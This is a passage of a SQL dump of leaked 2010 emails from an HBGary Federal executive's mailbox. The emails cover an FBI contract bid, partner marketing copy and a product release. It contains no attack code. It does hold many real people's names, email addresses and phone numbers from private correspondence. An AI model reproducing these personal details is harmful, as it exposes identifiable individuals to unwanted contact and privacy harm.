06/10/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6158,'aaron_hbgary_com/6158.html'),(7277,'2010-06-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005288.M192663P14101Q2132.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Google and SecDev','I don\'t\' have a google contact here in US.  The only people we know are in\r\nEurope.  Sounds good about FBI, you guys should hire someone from Mandiant.\r\nGet a recruiter and have them be responsible for services.  You can get\r\nsomeone aggressive.  \r\n\r\nThe \"letter\" issue is mandiant sending letters to potential customer stating\r\nthey were found IOC\'s coming from their address at their current engagement.\r\nWe were going to write a blog post\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 10, 2010 1:41 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Ted Vera\r\nSubject: Re: Google and SecDev\r\n\r\nok tks I will look it over.  Do you have a google contact?  I need to\r\ncontact them about our COIN recompete.\r\n\r\nI am feeling very confident about that recompete.  Conversation with Akamai\r\nand Apple are going very well for teaming.  PointAbout is going to sign.  If\r\nI can get Google on the team I don\'t think anyone will be able to tell a\r\nbetter story.  \r\n\r\nI just got off the phone with GD regarding the FBI ESOC.  We should find out\r\nabout award \"shortly\".  The oral presentations went very well.  The FBI only\r\nhad 1 day of orals, which means besides the incumbant, Lockheed, and GD\r\nthere is at most only enough time in the day for one other presentation, so\r\nodds of winning are good, we will no \"shortly\".  I also talked to GD about\r\nusing their capabilities for incident response if we get some bites on our\r\nefforts starting next week.\r\n\r\nAs to the new mandiant position, I am writing a piece at\r\naaronbarr.wordpress.org called, \"The Cyber Pendulum Swings\", its my first\r\npost to a new blog that I will eventually integrate into hbgaryfederal.com\r\nwhen Mark finishes it.\r\n\r\nAs to the \"you are compromised letters\"  can you refresh my memory.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jun 10, 2010, at 4:20 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> He can wrap it into the purchase price, that is what healthcheck and the\r\n> CLiP pricing are for.  See attached.  This isnt\' for him, it\'s for you\r\n(see\r\n> page 3)\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, June 05, 2010 4:40 AM\r\n> To: Penny Leavy\r\n> Subject: Google and SecDev\r\n> \r\n> Hey Penny,\r\n> \r\n> Do you have a contact for Google?\r\n> \r\n> Second.  I had a talk with Rafal (CEO of SecDev) yesterday and this is the\r\n> gist of what we discussed for  a partnership.\r\n> \r\n> 1. Developing/Integrating with Palantir - I told Rafal that this type of\r\n> activity was fine to do under the evaluation copy.  Any integrated product\r\n> sales would require a full license purchase.\r\n> 2. Marketing Channel Partner - I told him I believe HBGary is interested\r\nin\r\n> having SecDev market and sell HBGary products.\r\n> 3. Incident Response - This was the area that I told Rafal we not as clear\r\n> cut and we needed to work some things out.  The term loss leader is a\r\nlittle\r\n> misleading.  What Rafal wants to do is for the first 8-12 months wrap a\r\ncost\r\n> of using the product into specific engagements.  He is running on a tight\r\n> budget and doesn\'t want or have it to purchase a license outright, but\r\nwants\r\n> to build case studies and data on proven success stories.  So its not a\r\nloss\r\n> leader, but not a full purchase either.  Thoughts?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',5311,'aaron_hbgary_com/5311.html'),(7278,'2010-06-10','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005288.M416301P14101Q2133.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Data sheet','Not yet.  Tim might have when he was in Millersville.  His name did come\r\nup in our conversations.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 09, 2010 5:40 PM\r\nTo: Etue, David\r\nSubject: Re: Data sheet\r\n\r\nDid u meet with a Dr. Paul Nimrovsky at Northrop?\r\n\r\nHe connected with me in Linkedin and we are having lunch on Monday.  He\r\nis the current Cyber Security Architect and sits in Millersville.\r\n\r\nAaron\r\n\r\nOn Jun 9, 2010, at 5:13 PM, Etue, David wrote:\r\n\r\n> Working on the data sheet tonight - have it printed out, but haven\'t\r\n> been sitting down to look at it :(   I believe Stacey is working on it\r\n> too.  Have a internal call in 10 minutes to make sure everyone in\r\n> Fidelis is doing the right stuff to support you guys.  \r\n> \r\n> I\'m going to rewrite the top left paragraph on the back page if that\r\nis\r\n> ok.  Stacey will get you updated product pictures and logos.\r\n> \r\n> David\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, June 09, 2010 3:41 PM\r\n> To: Etue, David\r\n> Subject: Data sheet\r\n> \r\n> Hey Dave,\r\n> \r\n> Did you have much of a chance to look at the Data sheet?  I  going to\r\n> finish it up today and tomorrow.  Also trying to finish my NSA\r\n> presentation for Tuesday.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',131,'aaron_hbgary_com/131.html'),(7279,'2010-06-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005288.M718306P14101Q2134.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','RE: Comments','Misspelled word six line up from botton in blue box on left should be\r\nknowledge, it is kownledge\r\nSecond sentence on second page, misspelled word discovery\r\nUnder picture of Fidelis 4th line from bottom, misspelled word should be\r\nimproved\r\n\r\nSome of sentences don\'t flow in blue box on back and about Active Defense on\r\nfront.  Do you have word doc?\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 09, 2010 2:17 PM\r\nTo: Greg Hoglund; Penny Leavy; Bob Slapnik; Rich Cummings\r\nSubject: Comments\r\n\r\nHey guys,\r\n\r\nAttached is the datasheet to describe our services offerings.  I am going to\r\nfinish this off by tomorrow so I can get it printed.  Bob I would like to\r\nbring the copies to you before you head down to Miami since I won\'t be down\r\nthere until Wed. morning.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',4507,'aaron_hbgary_com/4507.html'),(7280,'2010-06-10','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297005289.M40442P14101Q2135.eml','','FW: FBI ESOC Orals','\r\n\r\n\r\n\r\n\r\nFW: FBI ESOC Orals\r\n\r\n\r\n\r\n\r\nFYI&#8230;\r\n\r\nChris\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Thursday, June 10, 2010 5:35 PM\r\nTo: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; \'Prouty, Charlie S\'; Saxty, Lori J.; \'Metzler, Jay\'; \'Bill Lillard\'; \'Walter, Troy\'; Mackert, Todd D.; Castrejon, Tomas M.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; \'Aaron Barr\'; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.; Burton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph, Carol M.; Carolina, Shelby D.; Carter, Richard (NE); \'Maria Horton\'; \'Jacks, Christopher\'; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue, Duane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.; Hoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.; Hill, Pamela E.; Varga, Joan A.; \'John Reed Stark\'; Michael, Jim A.; Petrauskas, Karen J.; Satterfield, Linda S.; \'Luna, Roby\'; Mackert, Todd D.; McLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.; Tilden, Michael J.; Newman, Christopher J.; Raja, Razwan N.; \'Walter, Troy\'; Kyburz, William (EXT) (GDIT); Stewart, Michael L.; Starr, Christopher H.; Neiderer, David M.; Lhotka, Erven R.; Hart, Kelly J.; Hoagland, Kimberly A.; Satterfield, Linda S.; Egloff, Susan C.\r\nSubject: FBI ESOC Orals\r\n\r\n\r\n\r\nWe&#8217;ve completed Orals!! \r\n\r\nFirst I&#8217;d like to say Thank you to Rich McDonald, Roger Burton, Troy Walter, Charles Arismendi, Razwan Raja, Mike Stewart, Chris Starr, &amp; David Neiderer for working so hard over the past 2 days and doing such a great job at orals today!!&nbsp; I&#8217;ve heard nothing but great comments from many of you about how well you all thought it went! I&#8217;ve heard both briefings went very well, there were easy questions, and it was a really good interchange with the customer. I&#8217;ve also heard the body language was favorable and we received positive reactions to our responses to their questions. So to all of you, thank you and congratulations for a job well done! We had a lot of work to do and we had less than 48hr to do it but you all chipped in and helped pull it off! \r\n\r\nSecond I&#8217;d like to say thanks to Rick Berthiaume for doing such a GREAT job at getting the answers pulled together for the governments clarification questions we receive this week. While so many were tied up preparing for orals you were working this ensuring we were able to respond on time! What a great job!\r\n\r\nThird to EVERYONE else who helped in so many other ways. We couldn&#8217;t have completed all this if we didn&#8217;t have such a great team all chipping in and helping!&nbsp; Also to those who spent countless late night (morning) hours &#8211; thank&nbsp; you!!&nbsp; I&#8217;m impressed by your dedication and grateful for your support! What a great team we have! \r\n\r\nI will keep you all informed as soon as we hear anything, but again thanks to everyone!&nbsp; Please pass this on to anyone I may have missed on this e-mail! \r\n\r\nMichelle \r\n\r\n757 286-9239\r\n\r\n\r\n',4857,'aaron_hbgary_com/4857.html'),(7281,'2010-06-10','\"David Etue\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005289.M764717P14101Q2136.eml','aaron@hbgary.com','451 Group document for FIRST','\r\n\r\n\r\n',14268,'aaron_hbgary_com/14268.html'),(7282,'2010-06-10','\"Lemke, Michelle R.\" <michelle.lemke@gd-ais.com>','/aaron@hbgary.com/new/1297005292.M899997P14101Q2137.eml','\"Short, Nadia D.\" <Nadia.Short@gd-ais.com>,\"Mack, Cynthia M.\" <Cynthia.Mack@gd-ais.com>,\"Rawls, Rodger C.\" <Rodger.Rawls@gd-ais.com>,\"Burns, Destiny R.\" <Destiny.Burns@gd-ais.com>,\"McDonald, Rich L.\" <Rich.McDonald@gd-ais.com>,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,\"Prouty, Charlie S\" <Charlie.Prouty@GDIT.com>,\"Saxty, Lori J.\" <Lori.Saxty@gd-ais.com>,\"Metzler, Jay\" <Jmetzler@sms.com>,\"Bill Lillard\" <blillard@emesec.net>,\"Walter, Troy\" <Troy.Walter@gdit.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"Castrejon, Tomas M.\" <Tomas.Castrejon@gd-ais.com>,\"Autry, Errin L.\" <Errin.Autry@gd-ais.com>,\"Arismendi, Charles B.\" <Charles.Arismendi@gd-ais.com>,\"Anderson, Melvin\" <Melvin.Anderson@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Berthiaume, Richard A.\" <richard.berthiaume@gd-ais.com>,\"Cornell, Billie J.\" <Billie.Cornell@gd-ais.com>,\"Barrett, Rob J.\" <Rob.Barrett@gd-ais.com>,\"Burton, Roger C.\" <Roger.Burton@gd-ais.com>,\"Carron, Brian E.\" <Brian.Carron@gd-ais.com>,\"Brooks, Holly\" <Holly.Brooks@gd-ais.com>,\"Mondloch, Carrie H.\" <carrie.mondloch@gd-ais.com>,\"Joseph, Carol M.\" <Carol.Joseph@gd-ais.com>,\"Carolina, Shelby D.\" <shelby.carolina@gd-ais.com>,\"Carter, Richard (NE)\" <Richard.Carter@gd-ais.com>,\"Maria Horton\" <mchorton@emesec.net>,\"Jacks, Christopher\" <Christopher.Jacks@gdit.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Hickey, David T.\" <David.Hickey@gd-ais.com>,\"Duck, Kenneth I.\" <ken.duck@gd-ais.com>,\"Domingue, Duane D.\" <duane.domingue@gd-ais.com>,\"Jackson, Eric D.\" <eric.jackson@gd-ais.com>,\"Nieves, Efrain\" <Efrain.Nieves@gd-ais.com>,\"Lhotka, Erven R.\" <erven.lhotka@gd-ais.com>,\"Egloff, Susan C.\" <Susan.Egloff@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hilliard, Jennifer M.\" <Jennifer.Hilliard@gd-ais.com>,\"Hickey, David T.\" <David.Hickey@gd-ais.com>,\"Hart, Kelly J.\" <Kelly.Hart@gd-ais.com>,\"Hill, Pamela E.\" <Pamela.Hill@gd-ais.com>,\"Varga, Joan A.\" <Joan.Varga@gd-ais.com>,\"John Reed Stark\" <JStark@StrozFriedberg.com>,\"Michael, Jim A.\" <Jim.Michael@gd-ais.com>,\"Petrauskas, Karen J.\" <karen.petrauskas@gd-ais.com>,\"Satterfield, Linda S.\" <linda.satterfield@gd-ais.com>,\"Luna, Roby\" <rluna@sms.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"McLaine, Kate L.\" <Kate.McLaine@gd-ais.com>,\"White-Taber, Marjorie J.\" <marjorie.taber@gd-ais.com>,\"Green, Rosemary\" <rosemary.green@gd-ais.com>,\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>,\"Tilden, Michael J.\" <michael.tilden@gd-ais.com>,\"Newman, Christopher J.\" <Christopher.Newman@gd-ais.com>,\"Raja, Razwan N.\" <Razwan.Raja@gd-ais.com>,\"Walter, Troy\" <Troy.Walter@gdit.com>,\"Kyburz, William (EXT) (GDIT)\" <William.Kyburz@gdit.com>,\"Stewart, Michael L.\" <michael.stewart@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Neiderer, David M.\" <David.Neiderer@gd-ais.com>,\"Lhotka, Erven R.\" <erven.lhotka@gd-ais.com>,\"Hart, Kelly J.\" <Kelly.Hart@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Satterfield, Linda S.\" <linda.satterfield@gd-ais.com>,\"Egloff, Susan C.\" <Susan.Egloff@gd-ais.com>','FBI ESOC Orals','\r\n\r\n\r\n\r\n\r\nFBI ESOC Orals\r\n\r\n\r\n\r\n\r\nWe&#8217;ve completed Orals!! \r\n\r\nFirst I&#8217;d like to say Thank you to Rich McDonald, Roger Burton, Troy Walter, Charles Arismendi, Razwan Raja, Mike Stewart, Chris Starr, &amp; David Neiderer for working so hard over the past 2 days and doing such a great job at orals today!!&nbsp; I&#8217;ve heard nothing but great comments from many of you about how well you all thought it went! I&#8217;ve heard both briefings went very well, there were easy questions, and it was a really good interchange with the customer. I&#8217;ve also heard the body language was favorable and we received positive reactions to our responses to their questions. So to all of you, thank you and congratulations for a job well done! We had a lot of work to do and we had less than 48hr to do it but you all chipped in and helped pull it off! \r\n\r\nSecond I&#8217;d like to say thanks to Rick Berthiaume for doing such a GREAT job at getting the answers pulled together for the governments clarification questions we receive this week. While so many were tied up preparing for orals you were working this ensuring we were able to respond on time! What a great job!\r\n\r\nThird to EVERYONE else who helped in so many other ways. We couldn&#8217;t have completed all this if we didn&#8217;t have such a great team all chipping in and helping!&nbsp; Also to those who spent countless late night (morning) hours &#8211; thank&nbsp; you!!&nbsp; I&#8217;m impressed by your dedication and grateful for your support! What a great team we have! \r\n\r\nI will keep you all informed as soon as we hear anything, but again thanks to everyone!&nbsp; Please pass this on to anyone I may have missed on this e-mail! \r\n\r\nMichelle \r\n\r\n757 286-9239\r\n\r\n\r\n',5106,'aaron_hbgary_com/5106.html'),(7283,'2010-06-10','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005293.M152525P14101Q2138.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Data sheet','For drinks, I\'m game to do either.  J Gilberts is pretty easy for me,\r\nwhich is probably the best midway between us.  Say 3:30 there?  \r\n\r\nI\'ve got brochures and flashlight trinkets for you to take to FIRST.  I\r\nwill also email you a 451 Group document that you can print if you\'d\r\nlike.  We didn\'t have any copies around, but we bought the rights to\r\nreprint it.  \r\n\r\nIf you want me to take another look at the brochure, let me know.  Was\r\nswamped the last few days, but I do have some time tomorrow!\r\n\r\nDavid\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 09, 2010 5:25 PM\r\nTo: Etue, David\r\nSubject: Re: Data sheet\r\n\r\nYes that is exactly what I am looking for, figured you could write it\r\nbetter than me.  And please comment on the rest of it as well.  Really\r\nthe first one of these I have written so I want it to have as much\r\nimpact as possible.  Also when I see you on Friday I would like to get a\r\nstack of relevant datasheets for the fidelis appliance as well.\r\n\r\nThanks.\r\n\r\nI am open on place to meet for a drink.  Suggestions are J. Gilberts in\r\nMclean reverse commute going back, or O\'sullivans in Arlington...also\r\nopen to other suggestions.\r\n\r\nOn Jun 9, 2010, at 5:13 PM, Etue, David wrote:\r\n\r\n> Working on the data sheet tonight - have it printed out, but haven\'t\r\n> been sitting down to look at it :(   I believe Stacey is working on it\r\n> too.  Have a internal call in 10 minutes to make sure everyone in\r\n> Fidelis is doing the right stuff to support you guys.  \r\n> \r\n> I\'m going to rewrite the top left paragraph on the back page if that\r\nis\r\n> ok.  Stacey will get you updated product pictures and logos.\r\n> \r\n> David\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, June 09, 2010 3:41 PM\r\n> To: Etue, David\r\n> Subject: Data sheet\r\n> \r\n> Hey Dave,\r\n> \r\n> Did you have much of a chance to look at the Data sheet?  I  going to\r\n> finish it up today and tomorrow.  Also trying to finish my NSA\r\n> presentation for Tuesday.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12170,'aaron_hbgary_com/12170.html'),(7284,'2010-06-10','\"Sweeney, Stacey\" <stacey.sweeney@fidelissecurity.com>','/aaron@hbgary.com/new/1297005293.M379498P14101Q2139.eml','\"Etue, David\" <david.etue@fidelissecurity.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Data sheet','\r\n\r\n\r\n\r\n\r\nRE: Data sheet\r\n\r\n\r\n\r\n\r\nAaron - I will send you the photos of Fidelis XPS shortly.\r\n\r\n\r\nHere is some info on Fidelis Security Systems.&nbsp; But not sure exactly what kind of length you can use? Feel free to cut off the last sentence if its too long. \r\n\r\nI would like to review the entire piece again prior to finalizing so that I can double-check trademark usage, etc. \r\n\r\n\r\nAnd are you planning to issue a press release next week? if so, please send me over a draft to review and I\'ll turn it right around. \r\n\r\nThanks.\r\n\r\nStacey\r\n\r\n\r\nFidelis Security Systems provides organizations with the power to leverage their sensitive information while protecting it from data breaches--due to theft, leakage, or exfiltration. Built on a patented deep session inspection&#8482;, platform, the Fidelis Extrusion Prevention System® is the industry\'s only next-generation network security solution with the visibility and control necessary to stop data breaches by uniquely working at the session-level.  Fidelis enables their government, military, and commercial enterprise customers around the globe to achieve comprehensive information protection in real time on multi-gigabit speed networks&#8212;allowing them to protect content, control application activity, enforce encryption policy, and mitigate threats.\r\n\r\n \r\n\r\n\r\n\r\n\r\n_____________________________________________ \r\n\r\nFrom: &nbsp; Etue, David&nbsp; \r\n\r\nSent:&nbsp;&nbsp; Thursday, June 10, 2010 8:09 AM\r\n\r\nTo:&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr\r\n\r\nCc:&nbsp;&nbsp;&nbsp;&nbsp; Sweeney, Stacey\r\n\r\nSubject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RE: Data sheet\r\n\r\n\r\nAaron,\r\n\r\n\r\nHow is this?&nbsp; Feel free to change&#8230; Stacey will also provide Fidelis XPS art and a short about paragraph for the blue area.\r\n\r\nDavid\r\n\r\n\r\nThe Fidelis Extrusion Prevention System®, Fidelis XPS&#8482;, provides network discovery, session reconstruction and traffic analysis providing visibility and control to mitigate threats, protect content, control application activity, and enforce encryption policy.\r\n\r\nA standard engagement involves initial query of our databases for compromised hosts within a customer&#8217;s netblock (allocated IP address ranges.)&nbsp; The results are loaded into both HB Gary Active Defense and Fidelis XPS for immediate targeted triage once onsite.&nbsp; Fidelis XPS passes alerts to the Active Defense server for targeted host analysis based on suspicious activity, and Active Defense will update Fidelis XPS policy and rules based on results to provide additional situational awareness at the network perimeter.&nbsp; Additionally, update queries against the compromise hosts databases are made to supplement the real time result.&nbsp; All knowledge is brought into the Palantir Analysis Framework to quickly identify the threats targeting the organization, enabling timely targeted remediation.&nbsp; \r\n\r\nThis technology, pair with HB Gary&#8217;s robust techniques and procedures enables fast time to remediation of assets across the organization, allowing the organization to be back to full support of its mission in the most expedient manner.&nbsp; \r\n\r\nOther thoughts:\r\n\r\nIn the first paragraph, you say &#8220;Fortune 500 companies&#8221; &#8211; I typically just say organizations because it covers commercial and gov&#8217;t\r\n\r\nChange caption to Fidelis XPS Information Flow Map&#8482;\r\n\r\nStacey will provide Fidelis XPS art and a short about paragraph for the blue area\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, June 09, 2010 5:25 PM\r\nTo: Etue, David\r\nSubject: Re: Data sheet\r\n\r\n\r\nYes that is exactly what I am looking for, figured you could write it better than me.&nbsp; And please comment on the rest of it as well.&nbsp; Really the first one of these I have written so I want it to have as much impact as possible.&nbsp; Also when I see you on Friday I would like to get a stack of relevant datasheets for the fidelis appliance as well.\r\n\r\nThanks.\r\n\r\n\r\nI am open on place to meet for a drink.&nbsp; Suggestions are J. Gilberts in Mclean reverse commute going back, or O\'sullivans in Arlington...also open to other suggestions.\r\n\r\nOn Jun 9, 2010, at 5:13 PM, Etue, David wrote:\r\n\r\n\r\n&gt; Working on the data sheet tonight - have it printed out, but haven\'t\r\n\r\n&gt; been sitting down to look at it :(&nbsp;&nbsp; I believe Stacey is working on it\r\n\r\n&gt; too.&nbsp; Have a internal call in 10 minutes to make sure everyone in\r\n\r\n&gt; Fidelis is doing the right stuff to support you guys.&nbsp; \r\n\r\n&gt; \r\n\r\n&gt; I\'m going to rewrite the top left paragraph on the back page if that is\r\n\r\n&gt; ok.&nbsp; Stacey will get you updated product pictures and logos.\r\n\r\n&gt; \r\n\r\n&gt; David\r\n\r\n&gt; \r\n\r\n&gt; -----Original Message-----\r\n\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\n&gt; Sent: Wednesday, June 09, 2010 3:41 PM\r\n\r\n&gt; To: Etue, David\r\n\r\n&gt; Subject: Data sheet\r\n\r\n&gt; \r\n\r\n&gt; Hey Dave,\r\n\r\n&gt; \r\n\r\n&gt; Did you have much of a chance to look at the Data sheet?&nbsp; I&nbsp; going to\r\n\r\n&gt; finish it up today and tomorrow.&nbsp; Also trying to finish my NSA\r\n\r\n&gt; presentation for Tuesday.\r\n\r\n&gt; \r\n\r\n&gt; Aaron\r\n\r\n&gt; \r\n\r\n&gt; From my iPhone\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16121,'aaron_hbgary_com/16121.html'),(7285,'2010-06-10','\"Sweeney, Stacey\" <stacey.sweeney@fidelissecurity.com>','/aaron@hbgary.com/new/1297005295.M750094P14101Q2140.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Photos/stencils','\r\n\r\n\r\n\r\n\r\nAaron - attached is \r\na photo of our appliance as well as some stencils that can be used if you need a \r\ndiagram/illustration form of it.\r\n&nbsp;\r\n&nbsp;\r\n\r\n',4166,'aaron_hbgary_com/4166.html'),(7286,'2010-06-10','\"Sweeney, Stacey\" <stacey.sweeney@fidelissecurity.com>','/aaron@hbgary.com/new/1297005305.M382671P14101Q2141.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Our logo','\r\n\r\n\r\n\r\n\r\nAaron - attached is \r\nour logo for use on your website. Can you also send me your logo so that we may \r\nplace it on our Partner\'s Page?\r\n&nbsp;\r\nThanks.\r\nStacey\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\nStacey Fairbairn Sweeney\r\nVice President, \r\nMarketing\r\nFidelis Security \r\nSystems\r\n301.652.7190 x115 \r\n(direct)\r\n571.228.2249 \r\n(mobile)\r\nStacey.Sweeney@FidelisSecurity.com\r\nTwitter: \r\n@FidSecSys\r\n&nbsp;\r\nRead All \r\nAbout It:&nbsp; Fidelis XPS&#8482; Scoops Top Honors&#8212;Again! \r\nSC \r\nMagazine &#8220;Recommended \r\nBuy&#8221;,&nbsp;Perfect 5-Star Rating \r\nNetwork \r\nWorld &#8220;Clear \r\nChoice&#8221; Winner, Best Data Loss Prevention Tool\r\n&nbsp;\r\n',10486,'aaron_hbgary_com/10486.html'),(7287,'2010-06-11','\"Alex Torres\" <alex@hbgary.com>','/aaron@hbgary.com/new/1297005306.M217464P14101Q2142.eml','all@hbgary.com','Responder 2.0.0.0527 and Active Defense 1.0.0.342 are live!','All,Engineering and QA are pleased to announce the release of Active Defense 1.0 and the release of Responder patch 2.0.0.0527. We have put a lot of long hours into Active Defense and are very excited about its release. Active Defense is our first enterprise product and it will allow our customers to deploy DDNA to their enterprise and get back not only DDNA scores and livebins from the end nodes but also file information, binary data, registry information, and much more via customizable Scan Policies. The included Reporting feature allows the user to gather all of the information from their Scan Policies into reports. Active Defense also includes many other features that makes getting DDNA information from enterprise machines quick and easy. \r\nThe Responder patch fixes bugs and enhances overall analysis performance. Update today!-Engineering\r\n',15643,'aaron_hbgary_com/15643.html'),(7288,'2010-06-11','\"Mack, Cynthia M.\" <Cynthia.Mack@gd-ais.com>','/aaron@hbgary.com/new/1297005306.M499773P14101Q2143.eml','\"Lemke, Michelle R.\" <michelle.lemke@gd-ais.com>,\"Short, Nadia D.\" <Nadia.Short@gd-ais.com>,\"Rawls, Rodger C.\" <Rodger.Rawls@gd-ais.com>,\"Burns, Destiny R.\" <Destiny.Burns@gd-ais.com>,\"McDonald, Rich L.\" <Rich.McDonald@gd-ais.com>,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,\"Charlie.Prouty@GDIT.com\" <Charlie.Prouty@GDIT.com>,\"Saxty, Lori J.\" <Lori.Saxty@gd-ais.com>,\"Jmetzler@sms.com\" <Jmetzler@sms.com>,\"blillard@emesec.net\" <blillard@emesec.net>,\"Troy.Walter@gdit.com\" <Troy.Walter@gdit.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"Castrejon, Tomas M.\" <Tomas.Castrejon@gd-ais.com>,\"Autry, Errin L.\" <Errin.Autry@gd-ais.com>,\"Arismendi, Charles B.\" <Charles.Arismendi@gd-ais.com>,\"Anderson, Melvin\" <Melvin.Anderson@gd-ais.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Berthiaume, Richard A.\" <richard.berthiaume@gd-ais.com>,\"Cornell, Billie J.\" <Billie.Cornell@gd-ais.com>,\"Barrett, Rob J.\" <Rob.Barrett@gd-ais.com>,\"Burton, Roger C.\" <Roger.Burton@gd-ais.com>,\"Carron, Brian E.\" <Brian.Carron@gd-ais.com>,\"Brooks, Holly\" <Holly.Brooks@gd-ais.com>,\"Mondloch, Carrie H.\" <carrie.mondloch@gd-ais.com>,\"Joseph, Carol M.\" <Carol.Joseph@gd-ais.com>,\"Carolina, Shelby D.\" <shelby.carolina@gd-ais.com>,\"Carter, Richard (NE)\" <Richard.Carter@gd-ais.com>,\"mchorton@emesec.net\" <mchorton@emesec.net>,\"Christopher.Jacks@gdit.com\" <Christopher.Jacks@gdit.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Hickey, David T.\" <David.Hickey@gd-ais.com>','Re: FBI ESOC Orals','\r\n\r\n\r\n\r\n\r\nFBI ESOC Orals\r\n\r\n\r\nAll, from the debrief I received you all have a lot to be proud of and commended for - congratulations and a sincere thank you! Cynthia M.\r\n\r\n\r\nFrom: Lemke, Michelle R.To: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; Prouty, Charlie S &lt;Charlie.Prouty@GDIT.com&gt;; Saxty, Lori J.; Metzler, Jay &lt;Jmetzler@sms.com&gt;; Bill Lillard &lt;blillard@emesec.net&gt;; Walter, Troy &lt;Troy.Walter@gdit.com&gt;; Mackert, Todd D.; Castrejon, Tomas M.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; Aaron Barr &lt;aaron@hbgary.com&gt;; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.; Burton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph, Carol M.; Carolina, Shelby D.; Carter, Richard (NE); Maria Horton &lt;mchorton@emesec.net&gt;; Jacks, Christopher &lt;Christopher.Jacks@gdit.com&gt;; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue, Duane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.; 